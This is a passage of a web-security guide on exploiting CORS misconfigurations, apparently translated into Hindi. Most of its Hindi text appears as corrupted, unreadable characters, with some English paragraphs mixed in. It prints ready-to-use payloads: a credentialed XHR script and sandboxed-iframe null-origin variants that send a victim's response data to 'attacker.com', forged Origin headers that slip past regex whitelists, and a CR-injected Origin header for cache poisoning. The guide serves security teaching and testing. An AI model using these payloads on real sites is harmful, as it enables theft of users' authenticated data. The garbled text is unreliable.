рдпрджрд┐ рдЖрдк рд╕реНрдерд╛рдиреАрдп рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХрд╛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЖрдИрдкреА рдкрддрд╛ (рдЬреИрд╕реЗ рд░рд╛рдЙрдЯрд░ рдХрд╛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЖрдИрдкреА) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИред рдХреНрдпреЛрдВрдХрд┐ рдХрдИ рдЕрд╡рд╕рд░реЛрдВ рдкрд░, рднрд▓реЗ рд╣реА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЖрдИрдкреА рддрдХ рдкрд╣реБрдВрдЪрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реЛ, рдпрджрд┐ рдпрд╣ рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рд╣реИ, рддреЛ рдкрд╣реБрдВрдЪ рджреА рдЬрд╛рдПрдЧреАред {% endhint %}

рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рднрд▓реЗ рд╣реА рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕реБрдкрд░ рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рд╡рд╛рд▓рд╛ рд▓рдЧ рд╕рдХрддрд╛ рд╣реИ:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

рдпрд╣ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ рдФрд░ рдЗрд╕рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рдирд╣реАрдВ рднреЗрдЬреЗ рдЬрд╛рдПрдВрдЧреЗред

рд╢реЛрд╖рдгреАрдп рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди

рдпрд╣ рджреЗрдЦрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ Access-Control-Allow-Credentials рдХреЛ true рдкрд░ рд╕реЗрдЯ рдХрд░рдирд╛ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреВрд░реНрд╡рд╛рдкреЗрдХреНрд╖рд╛ рд╣реИред рдпрд╣ рд╕реЗрдЯрд┐рдВрдЧ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рднреЗрдЬрдиреЗ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╣рдорд▓реЗ рдХреА рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдмрдврд╝рддреА рд╣реИред рдЗрд╕рдХреЗ рдмрд┐рдирд╛, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдЕрдиреБрд░реЛрдз рдЬрд╛рд░реА рдХрд░рдиреЗ рдХрд╛ рд▓рд╛рдн рд╕реНрд╡рдпрдВ рдХрд░рдиреЗ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдХрдо рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдХреБрдХреАрдЬрд╝ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдирд╛ рдЕрд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред

рдЕрдкрд╡рд╛рдж: рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдерд╛рди рдХрд╛ рд╢реЛрд╖рдг

рдПрдХ рдЕрдкрд╡рд╛рдж рд╣реИ рдЬрд╣рд╛рдВ рдкреАрдбрд╝рд┐рдд рдХрд╛ рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдерд╛рди рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдПрдХ рд░реВрдк рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдкреАрдбрд╝рд┐рдд рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рд░реВрдк рдореЗрдВ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЖрдИрдкреА-рдЖрдзрд╛рд░рд┐рдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рддреЗ рд╣реБрдП рдЗрдВрдЯреНрд░рд╛рдиреЗрдЯ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдПред рдпрд╣ рд╡рд┐рдзрд┐ DNS рд░реАрдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдХреЗ рдкреНрд░рднрд╛рд╡ рдореЗрдВ рд╕рдорд╛рдирддрд╛рдПрдБ рд╕рд╛рдЭрд╛ рдХрд░рддреА рд╣реИ рд▓реЗрдХрд┐рди рдЗрд╕реЗ рд╢реЛрд╖рдг рдХрд░рдирд╛ рд╕рд░рд▓ рд╣реИред

Access-Control-Allow-Origin рдореЗрдВ Origin рдХрд╛ рдкрд░рд╛рд╡рд░реНрддрди

рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкрд░рд┐рджреГрд╢реНрдп рдЬрд╣рд╛рдВ Origin рд╣реЗрдбрд░ рдХрд╛ рдорд╛рди Access-Control-Allow-Origin рдореЗрдВ рдкрд░рд╛рд╡рд░реНрддрд┐рдд рд╣реЛрддрд╛ рд╣реИ, рд╕рд┐рджреНрдзрд╛рдВрдд рд░реВрдк рд╕реЗ рдЕрд╕рдВрднрд╡ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрди рд╣реЗрдбрд░реЛрдВ рдХреЛ рд╕рдВрдпреЛрдЬрд┐рдд рдХрд░рдиреЗ рдкрд░ рдкреНрд░рддрд┐рдмрдВрдз рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдбреЗрд╡рд▓рдкрд░реНрд╕ рдЬреЛ рдХрдИ URL рдХреЗ рд▓рд┐рдП CORS рд╕рдХреНрд╖рдо рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рд╡реЗ Origin рд╣реЗрдбрд░ рдХреЗ рдорд╛рди рдХреЛ рдХреЙрдкреА рдХрд░рдХреЗ Access-Control-Allow-Origin рд╣реЗрдбрд░ рдХреЛ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдкреЗрд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЬрдм рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдРрд╕рд╛ рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо рд╡реИрдз рдкреНрд░рддреАрдд рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдорд╛рдиреНрдпрддрд╛ рд▓реЙрдЬрд┐рдХ рдХреЛ рдзреЛрдЦрд╛ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

null рдЙрддреНрдкрддреНрддрд┐ рдХрд╛ рд╢реЛрд╖рдг

null рдЙрддреНрдкрддреНрддрд┐, рдЬрд┐рд╕реЗ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдпрд╛ рд╕реНрдерд╛рдиреАрдп HTML рдлрд╝рд╛рдЗрд▓реЛрдВ рдЬреИрд╕реА рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рд╕реНрдерд┐рддрд┐ рд░рдЦрддреА рд╣реИред рдХреБрдЫ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЗрд╕ рдЙрддреНрдкрддреНрддрд┐ рдХреЛ рд╕реНрдерд╛рдиреАрдп рд╡рд┐рдХрд╛рд╕ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдХрд┐рд╕реА рднреА рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХреЛ рдПрдХ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХрд┐рдП рдЧрдП iframe рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ null рдЙрддреНрдкрддреНрддрд┐ рдХреА рдирдХрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ CORS рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдмрд╛рдпрдкрд╛рд╕ рддрдХрдиреАрдХреЗрдВ

рдЬрдм рдПрдХ рдбреЛрдореЗрди рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИ, рддреЛ рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рдЕрд╡рд╕рд░реЛрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдбреЛрдореЗрди рдХреЛ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯреЗрдб рдбреЛрдореЗрди рдореЗрдВ рдЬреЛрдбрд╝рдирд╛ рдпрд╛ рд╕рдмрдбреЛрдореЗрди рдЯреЗрдХрдУрд╡рд░ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдирд╛ред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдбреЛрдореЗрди рдорд╛рдиреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпрд╛рдБ рдбреЛрдореЗрди рдирд╛рдордХрд░рдг рдкрд░рдВрдкрд░рд╛рдУрдВ рдореЗрдВ рдмрд╛рд░реАрдХрд┐рдпреЛрдВ рдХреЛ рдирдЬрд░рдЕрдВрджрд╛рдЬ рдХрд░ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдФрд░ рднреА рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рдЕрд╡рд╕рд░ рдЙрддреНрдкрдиреНрди рд╣реЛрддреЗ рд╣реИрдВред

рдЙрдиреНрдирдд рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдмрд╛рдпрдкрд╛рд╕

Regex рдкреИрдЯрд░реНрди рдЖрдорддреМрд░ рдкрд░ рдЕрд▓реНрдлрд╝рд╛рдиреНрдпреВрдореЗрд░рд┐рдХ, рдбреЙрдЯ (.), рдФрд░ рд╣рд╛рдЗрдлрд╝рди (-) рд╡рд░реНрдгреЛрдВ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдЕрдиреНрдп рд╕рдВрднрд╛рд╡рдирд╛рдУрдВ рдХреА рдЕрдирджреЗрдЦреА рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдбреЛрдореЗрди рдирд╛рдо рдЬреЛ рдРрд╕реЗ рд╡рд░реНрдгреЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдФрд░ regex рдкреИрдЯрд░реНрди рджреНрд╡рд╛рд░рд╛ рдЕрд▓рдЧ рддрд░реАрдХреЗ рд╕реЗ рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╕реБрд░рдХреНрд╖рд╛ рдЬрд╛рдВрдЪреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред Safari, Chrome, рдФрд░ Firefox рджреНрд╡рд╛рд░рд╛ рд╕рдмрдбреЛрдореЗрди рдореЗрдВ рдЕрдВрдбрд░рд╕реНрдХреЛрд░ рд╡рд░реНрдгреЛрдВ рдХреЗ рдкреНрд░рдмрдВрдзрди рд╕реЗ рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдХреИрд╕реЗ рдРрд╕реЗ рднрд┐рдиреНрдирддрд╛рдПрдБ рдбреЛрдореЗрди рдорд╛рдиреНрдпрддрд╛ рддрд░реНрдХ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред

рдЗрд╕ рдмрд╛рдпрдкрд╛рд╕ рдЬрд╛рдВрдЪ рдХреА рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдФрд░ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЗ рд▓рд┐рдП: https://www.corben.io/advanced-cors-techniques/ рдФрд░ https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

рдПрдХ рд╕рдмрдбреЛрдореЗрди рдХреЗ рдЕрдВрджрд░ XSS рд╕реЗ

рдбреЗрд╡рд▓рдкрд░реНрд╕ рдЕрдХреНрд╕рд░ CORS рд╢реЛрд╖рдг рд╕реЗ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ, рдЙрди рдбреЛрдореЗрди рдХреЛ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд░рдХреЗ рдЬрд┐рдиреНрд╣реЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдорд╛рдВрдЧрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред рдЗрди рд╕рд╛рд╡рдзрд╛рдирд┐рдпреЛрдВ рдХреЗ рдмрд╛рд╡рдЬреВрдж, рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдирд╣реАрдВ рд╣реИред рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯреЗрдб рдбреЛрдореЗрдиреЛрдВ рдХреЗ рднреАрддрд░ рдПрдХ рднреА рдХрдордЬреЛрд░ рд╕рдмрдбреЛрдореЗрди рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдЕрдиреНрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ, рдЬреИрд╕реЗ рдХрд┐ XSS (рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ CORS рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рджрд░рд╡рд╛рдЬреЗ рдЦреЛрд▓ рд╕рдХрддреА рд╣реИред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЙрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ рдПрдХ рдбреЛрдореЗрди, requester.com, рдХреЛ рджреВрд╕рд░реЗ рдбреЛрдореЗрди, provider.com, рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦ рд╕рдХрддрд╛ рд╣реИ:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

рдЗрд╕ рд╕реЗрдЯрдЕрдк рдореЗрдВ, requester.com рдХреЗ рд╕рднреА рд╕рдмрдбреЛрдореЗрди рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ рдХреЛрдИ рд╕рдмрдбреЛрдореЗрди, рдЬреИрд╕реЗ sub.requester.com, XSS рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рдХрдордЬреЛрд░реА рдХрд╛ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, sub.requester.com рддрдХ рдкрд╣реБрдБрдЪ рд░рдЦрдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ XSS рдХрдордЬреЛрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ CORS рдиреАрддрд┐рдпреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ provider.com рдкрд░ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рддрд░реАрдХреЗ рд╕реЗ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИред

рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдг

PortSwigger рдХрд╛ URL validation bypass cheat sheet рдиреЗ рдкрд╛рдпрд╛ рдХрд┐ рдХреБрдЫ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдбреЛрдореЗрди рдирд╛рдореЛрдВ рдХреЗ рднреАрддрд░ рдЕрдЬреАрдм рд╡рд░реНрдгреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВред

Chrome рдФрд░ Firefox рдЕрдВрдбрд░рд╕реНрдХреЛрд░ _ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ Origin рд╣реЗрдбрд░ рдХреЛ рдорд╛рдиреНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓рд╛рдЧреВ рдХрд┐рдП рдЧрдП regexes рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдгреЛрдВ рдХреЛ рдбреЛрдореЗрди рдирд╛рдо рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдореЗрдВ рдФрд░ рднреА рд▓рдЪреАрд▓рд╛ рд╣реИ:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

рдЕрдиреНрдп рдордЬреЗрджрд╛рд░ URL рдЯреНрд░рд┐рдХреНрд╕

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ

рдЗрд╕ рд╢реЛрдз рд╕реЗ

рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ HTTP рд╣реЗрдбрд░ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░, рдПрдХ рд╕рдВрдЧреНрд░рд╣реАрдд рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ (XSS) рднреЗрджреНрдпрддрд╛ рдЙрддреНрдкрдиреНрди рдХреА рдЬрд╛ рд╕рдХреЗред рдпрд╣ рдкрд░рд┐рджреГрд╢реНрдп рддрдм рд╕рд╛рдордиреЗ рдЖрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрд╡реИрдз рд╡рд░реНрдгреЛрдВ рдХреЗ рд▓рд┐рдП Origin рд╣реЗрдбрд░ рдХреЛ рд╕рд╛рдлрд╝ рдХрд░рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд░рд╣рддрд╛ рд╣реИ, рдЬреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЗрдВрдЯрд░рдиреЗрдЯ рдПрдХреНрд╕рдкреНрд▓реЛрд░рд░ рдФрд░ рдПрдЬ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рднреЗрджреНрдпрддрд╛ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИред рдпреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ (0x0d) рдХреЛ рдПрдХ рд╡реИрдз HTTP рд╣реЗрдбрд░ рдЯрд░реНрдорд┐рдиреЗрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ HTTP рд╣реЗрдбрд░ рдЗрдВрдЬреЗрдХреНрд╢рди рднреЗрджреНрдпрддрд╛рдПрдБ рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИрдВред

рдЗрд╕ рдЕрдиреБрд░реЛрдз рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ Origin рд╣реЗрдбрд░ рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer рдФрд░ Edge рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╕рдордЭрддреЗ рд╣реИрдВ:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page's character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.

For further reading on stored XSS vulnerabilities, see PortSwigger.

Note: HTTP рд╣реЗрдбрд░ рдЗрдВрдЬреЗрдХреНрд╢рди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд╢реЛрд╖рдг, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдкреНрд░рджрддреНрдд рдЗрдирдкреБрдЯ, рдЬрд┐рд╕рдореЗрдВ HTTP рд╣реЗрдбрд░ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдХреЛ рдорд╛рдиреНрдп рдФрд░ рд╕реНрд╡рдЪреНрдЫ рдХрд░рдиреЗ рдХреЗ рдорд╣рддреНрд╡ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИред рд╣рдореЗрд╢рд╛ рдПрдХ рдордЬрдмреВрдд рд╕реБрд░рдХреНрд╖рд╛ рдореЙрдбрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрд┐рд╕рдореЗрдВ рдЗрдирдкреБрдЯ рдорд╛рдиреНрдпрддрд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛ рддрд╛рдХрд┐ рдРрд╕реА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗред

Client-Side cache poisoning

From this research

In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a X-User-id header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load.

